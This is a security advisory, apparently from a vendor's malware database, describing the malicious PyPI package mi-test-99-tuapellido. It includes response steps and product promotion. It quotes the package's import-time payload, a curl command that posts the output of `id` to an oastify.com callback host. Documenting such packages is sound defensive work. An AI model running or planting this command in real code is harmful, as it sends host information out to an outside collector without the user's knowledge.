mi-test-99-tuapellidoPyPI
Malicious code in mi-test-99-tuapellido (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
On every import, the package's top-level init.py runs os.system("curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $(id)"). This unconditionally executes a shell pipeline that POSTs the output of the id command (current uid/gid/group membership) to a Burp Suite Collaborator (oastify.com) subdomain — an out-of-band callback service used to confirm remote code execution and exfiltrate data. The behavior fires on import mi_test_99 with no user gating, no relation to any advertised functionality, over plaintext HTTP. Package metadata is placeholder-shaped (name contains the literal Spanish placeholder tuapellido/'your-surname', author fields are Tu Nombre <[email protected]>, pyproject comment reads CAMBIA ESTO por un nombre único), consistent with a dependency-confusion or namespace-squat proof-of-concept payload. Whether intended as a test or a live attack, any installer that imports this package leaks host identity to an attacker-controlled collector and demonstrates an arbitrary-shell-exec channel.
Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
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The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
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The package overrides the install command in setup.py to execute malicious code during installation.
The OpenSSF Package Analysis project identified 'mi-test-99-tuapellido' @ 99.9 (pypi) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for mi-test-99-tuapellido (version 99.9). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging mi-test-99-tuapellido across your stack and pipelines.
If you installed it — respond
mi-test-99-tuapellido is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If mi-test-99-tuapellido was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks mi-test-99-tuapellido before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks mi-test-99-tuapellido-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.